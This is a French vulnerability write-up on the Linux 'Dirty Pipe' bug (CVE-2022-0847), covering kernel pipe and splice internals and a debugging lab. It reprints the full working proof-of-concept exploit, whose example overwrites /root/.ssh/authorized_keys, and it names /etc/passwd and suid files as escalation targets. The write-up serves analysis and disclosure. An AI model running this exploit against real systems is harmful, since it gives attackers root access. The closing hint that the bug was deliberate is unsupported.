
CVE-2022-0847 POC and Docker and Analysis write up
[toc]
Cet article a été initialement publié sur le compte public de sécurité Huawei, voici la version blog (plus complète)
Lien original : https://mp.weixin.qq.com/s/6VhWBOzJ7uu80nzFxe5jpg
ID de vulnérabilité : CVE-2022-0847 (alias : Dirty Pipe)
Produit vulnérable : noyau Linux - syscall splice
Versions concernées : Linux 5.8 (introduite par le patch f6dd975583bd ) ~ 5.16.11, 5.15.25, 5.10.102 (corrigées)
Impact : écrire au plus une page (4096 octets) dans n'importe quel fichier lisible (c'est suffisant), permettant une élévation de privilèges locale.
Docker d'analyse de la vulnérabilité : chenaotian/cve-2022-0847 (si inaccessible, c'est que je ne l'ai pas encore téléchargé)
Fournit :
Démarrage :
cd ~/cve-2022-0847
gcc exp.c -o exp --static && cp exp ./rootfs && cd rootfs
find . | cpio -o --format=newc > ../rootfs.img
cd ../
./boot.sh
Débogage :
gdb ./vmlinux
target remote :10086
directory /root/linux-5.13
b do_splice
b copy_page_to_iter_pipe
b pipe_write
ignore 3 15
...
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]
Le principe succinct de la vulnérabilité est que l'appel système
splicepeut envoyer un fichier dans un tube (pipe) via un mécanisme de "zéro copie". Au niveau du code, la copie zéro correspond à l'utilisation directe de la page de cache du fichier (page cache) comme pagebufdu tube. Cependant, cela introduit une vulnérabilité de variable non initialisée, qui permet à la page de cache du fichier d'être ensuite traitée comme une page de cache de tube ordinaire dans le canal du tube, et donc d'être "réécrite" et modifiée. Or, dans ce cas, le noyau ne marque pas cette page de cache comme "sale" (dirty) ; pendant un court laps de temps (jusqu'au prochain redémarrage ou équivalent), elle n'est pas rafraîchie sur le disque. Pendant ce temps, tous les accès à ce fichier utiliseront la page de cache modifiée, réalisant ainsi une opération "écrire arbitrairement dans un fichier lisible pendant un court instant". Cela permet une élévation de privilèges locale.
D'après le correctif, le point vulnérable se situe dans la fonction copy_page_to_iter_pipe, où une initialisation de buf->flags a été ajoutée. Il s'agit donc d'une vulnérabilité de variable non initialisée.

Le point d'appel de copy_page_to_iter_pipe se trouve dans l'appel système splice. La fonction splice (appel système) transmet le contenu d'un fichier vers un tube via une méthode de "zéro copie". Cela offre de meilleures performances que la transmission directe du contenu du fichier dans le tube. Détails ci-dessous.
Tout d'abord, la vulnérabilité est également appelée "Dirty Pipe". Il est nécessaire de comprendre le tube (pipe). Le tube est un canal de communication fourni par le noyau, créé via les fonctions pipe/pipe2. Il renvoie deux descripteurs de fichier : un pour envoyer des données, l'autre pour les recevoir, comme les deux extrémités d'un tube. Pas de détails superflus ici.

Expliquons brièvement l'implémentation dans le noyau. En général, l'espace cache du tube fait 65536 octets, géré sous forme de pages, soit 16 pages (4096 octets chacune). Les pages ne sont pas contiguës mais gérées via un tableau, formant une liste circulaire. Deux pointeurs de liste sont maintenus : un pour l'écriture (pipe->head) et un pour la lecture (pipe->tail). Analysons principalement la fonction pipe_write :
linux-5.13\fs\pipe.c : 400 : pipe_write
static ssize_t
pipe_write(struct kiocb *iocb, struct iov_iter *from)
{
struct file *filp = iocb->ki_filp;
struct pipe_inode_info *pipe = filp->private_data;
unsigned int head;
ssize_t ret = 0;
size_t total_len = iov_iter_count(from);
ssize_t chars;
bool was_empty = false;
bool wake_next_writer = false;
··· ···
··· ···
head = pipe->head;
was_empty = pipe_empty(head, pipe->tail);
chars = total_len & (PAGE_SIZE-1);
if (chars && !was_empty) {
//[1] si le cache du tube n'est pas vide, essayer de "continuer" l'écriture à partir de la dernière page courante
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] clé : si le drapeau PIPE_BUF_FLAG_CAN_MERGE est présent, la page permet l'écriture continue
* si la longueur d'écriture ne dépasse pas une page, écrire à la suite, sinon créer une nouvelle page */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
···
}
buf->len += ret;
···
}
}
for (;;) {//[3] si on ne peut pas écrire à la suite de la page précédente, créer une nouvelle page
··· ···
head = pipe->head;
if (!pipe_full(head, pipe->tail, pipe->max_usage)) {
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[head & mask];
struct page *page = pipe->tmp_page;
int copied;
if (!page) {//[4] allouer une nouvelle page
page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT);
if (unlikely(!page)) {
ret = ret ? : -ENOMEM;
break;
}
pipe->tmp_page = page;
}
spin_lock_irq(&pipe->rd_wait.lock);
head = pipe->head;
··· ···
pipe->head = head + 1;
spin_unlock_irq(&pipe->rd_wait.lock);
/* Insérer dans le tableau de tampons */
buf = &pipe->bufs[head & mask];
buf->page = page;//[5] placer la page nouvellement allouée dans le tableau de pages
buf->ops = &anon_pipe_buf_ops;
buf->offset = 0;
buf->len = 0;
if (is_packetized(filp))
buf->flags = PIPE_BUF_FLAG_PACKET;
else
buf->flags = PIPE_BUF_FLAG_CAN_MERGE;
//[6] définir le drapeau ; par défaut PIPE_BUF_FLAG_CAN_MERGE
pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from);
//[7] opération de copie
··· ···
ret += copied;
buf->offset = 0;
buf->len = copied;
··· ···
}
··· ···
}
··· ···
return ret;
}
pipe) n'est pas vide (head==tail indique un tube vide), alors il y a des données non lues ; on obtient le pointeur head, c'est-à-dire la page la plus récente pour l'écriture, on examine ses champs len, offset (pour trouver la fin des données). On essaie alors d'écrire à la suite dans la page courante.PIPE_BUF_FLAG_CAN_MERGE ; s'il est absent, l'écriture continue n'est pas autorisée. Ou si la concaténation des données à écrire avec les données existantes dépasse une page (c'est-à-dire que l'écriture traverse une limite de page) ; si elle traverse, on ne peut pas écrire à la suite.alloc_page alloue une nouvelle page.buf->flag est initialisé par défaut à PIPE_BUF_FLAG_CAN_MERGE, car par défaut la page est autorisée à être réécrite.La clé de l'exploitation est que le drapeau PIPE_BUF_FLAG_CAN_MERGE n'est pas initialisé dans splice, ce qui détermine si l'on peut écrire à la suite dans une page de tube "non complètement écrite".
Comme mentionné plus haut, le tube gère 16 pages comme cache. La méthode de zéro copie de splice consiste à remplacer directement la page de cache du tube par la page de cache du fichier (en modifiant le pointeur de la page de cache du tube pour pointer vers la page de cache du fichier).

La pile d'appels de l'appel système splice jusqu'à la fonction vulnérable copy_page_to_iter_pipe est profonde ; nous n'entrerons pas dans les détails. Voici la pile :
SYSCALL_DEFINE6(splice,...) -> __do_sys_splice -> __do_splice-> do_splice
splice_file_to_pipe -> do_splice_to
generic_file_splice_read (in->f_op->splice_read par défaut est generic_file_splice_read)
call_read_iter -> filemap_read
copy_page_to_iter -> copy_page_to_iter_pipeLa fonction copy_page_to_iter_pipe, siège de la vulnérabilité, fait principalement pointer la structure de la page de cache du tube vers la page de cache du fichier à transférer :
linux-5.13\lib\iov_iter.c : 417 : copy_page_to_iter_pipe
static size_t copy_page_to_iter_pipe(struct page *page, size_t offset, size_t bytes,
struct iov_iter *i)
{
struct pipe_inode_info *pipe = i->pipe;
struct pipe_buffer *buf;
unsigned int p_tail = pipe->tail;
unsigned int p_mask = pipe->ring_size - 1;
unsigned int i_head = i->head;
size_t off;
··· ···
off = i->iov_offset;
buf = &pipe->bufs[i_head & p_mask];//[1] obtenir la page de cache du tube correspondante
··· ···
buf->ops = &page_cache_pipe_buf_ops;//[2] modifier les informations de la page de cache du tube pour pointer vers la page de cache du fichier
get_page(page);
buf->page = page;//[2] le pointeur de page pointe maintenant vers la page de cache du fichier
buf->offset = offset;//[2] offset, len, etc. sont définis selon les informations courantes (déterminées par les paramètres de splice)
buf->len = bytes;
pipe->head = i_head + 1;
i->iov_offset = offset + bytes;
i->head = i_head;
out:
i->count -= bytes;
return bytes;
}
pipe->head).len déterminé par les paramètres de l'appel système splice. Sauf que le drapeau n'est pas initialisé, ce qui constitue la vulnérabilité.En général, après initialisation, pipe->bufs ressemble à ceci :

D'après le code de pipe_write analysé précédemment, si on appelle à nouveau pipe_write pour écrire des données dans le tube, le pointeur d'écriture (pipe->head) pointe vers la page de la figure ci-dessus, et le drapeau est PIPE_BUF_FLAG_CAN_MERGE, donc le noyau considère qu'il est possible d'écrire à la suite de cette page, tant que la longueur d'écriture ne dépasse pas une page :
#define PIPE_BUF_FLAG_CAN_MERGE 0x10 /* can merge buffers */
if (chars && !was_empty) {
//[1] si le cache du tube n'est pas vide, essayer d'écrire à la suite à partir de la dernière page
unsigned int mask = pipe->ring_size - 1;
struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
offset + chars <= PAGE_SIZE) {
/*[2] clé : si le drapeau PIPE_BUF_FLAG_CAN_MERGE est présent, la page permet l'écriture continue
* si la longueur d'écriture ne dépasse pas une page, écrire à la suite, sinon créer une nouvelle page */
ret = pipe_buf_confirm(pipe, buf);
···
ret = copy_page_from_iter(buf->page, offset, chars, from);
Linux place le contenu des fichiers ouverts dans des pages de cache. Les pages de cache sont conservées un certain temps après utilisation pour éviter des opérations E/S inutiles. Pendant un court laps de temps, l'accès au même fichier utilisera la même page de cache. En modifiant cette page de cache via notre méthode, tout accès (lecture) ultérieur au fichier pendant cette période lira la page modifiée, permettant ainsi l'exploitation.
Comme décrit ci-dessus, le processus d'exploitation est très simple, une fois le principe compris. Selon l'auteur, les étapes sont les suivantes :
pipe_write) ; ainsi tous les buf (pages de cache du tube) sont initialisés, avec le drapeau par défaut PIPE_BUF_FLAG_CAN_MERGE.pipe_read) ; ainsi, lors du transfert de fichier via splice, les structures buf déjà initialisées sont réutilisées.splice pour transférer le fichier à modifier dans le tube.pipe_write) ; cela va alors écraser la page de cache du fichier, réalisant ainsi une modification temporaire du fichier.Après l'étape 2, après avoir rempli puis vidé le tube, on peut voir dans la structure bufs les données qui seront réutilisées pour les contenus non initialisés :
p *(struct pipe_inode_info *) pipe
p (struct pipe_buffer)pipe->bufs[0]

Après splice, le fichier est transféré et devient comme ci-dessous ; le drapeau n'est pas initialisé, et il faut définir len aussi petit que possible, car plus il est petit, plus on pourra écrire de données lors de l'écriture suivante. Ici, on le met à 1, et l'offset est l'adresse de départ de la modification souhaitée. Le pointeur pipe->bufs->page pointera vers l'adresse de départ :
splice(fd, &offset, p[1], NULL, 1, 0);

Un nouvel appel à pipe_write remplit la condition d'écriture continue et écrit directement dans la page :

Pas écrit par moi, issu de la divulgation de la vulnérabilité :
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}
/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);
if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}
const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}
/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}
if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}
if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Élévation de privilèges réussie :
gcc exp.c -o exp --static
./exp file offset string

Nous avons démontré l'effet d'écriture arbitraire dans un fichier. L'exploitation concrète peut consister à modifier /etc/passwd, ou une clé SSH, ou un fichier suid, etc., pour une élévation de privilèges réelle. Pas de manipulation ici (de toute façon, je ne fais pas de pénétration).
Comme il s'agit d'une vulnérabilité du noyau, il n'y a pas de bonne solution immédiate. Il est recommandé de mettre à jour le noyau vers les versions corrigées : 5.16.11, 5.15.25, 5.10.102 ou supérieures.
Basé sur le POC publié par le divulgateur, j'ai écrit un outil de vérification simple. Si la vulnérabilité est présente, il affiche "There is CVE-2022-0847" :

Si la vulnérabilité est absente, il affiche "You are safe!".
Divulgation de la vulnérabilité : https://dirtypipe.cm4all.com/
Le drapeau PIPE_BUF_FLAG_CAN_MERGE n'apparaît que cinq fois : une fois dans la déclaration #define, deux fois dans pipe_write. Les deux autres occurrences se trouvent dans splice :

Et d'après le code utilisant cette variable, sa signification est de savoir s'il est permis d'écrire à la suite dans la page de cache du tube courante. Normalement, les pages allouées par le tube lui-même sont des pages ordinaires, et écrire à la suite est normal. Dans quel cas cela ne doit pas être autorisé ? Lorsque la page n'a pas été allouée par le tube lui-même, on ne peut pas la modifier arbitrairement. Donc, dans la pratique, c'est presque uniquement dans splice que l'on rencontre des pages qui ne sont pas allouées par le tube. Autrement dit, le drapeau PIPE_BUF_FLAG_CAN_MERGE a été conçu spécifiquement pour splice. Et vous me dites qu'il n'est pas initialisé ?
Je soupçonne donc que cette vulnérabilité n'est pas du tout due à une négligence...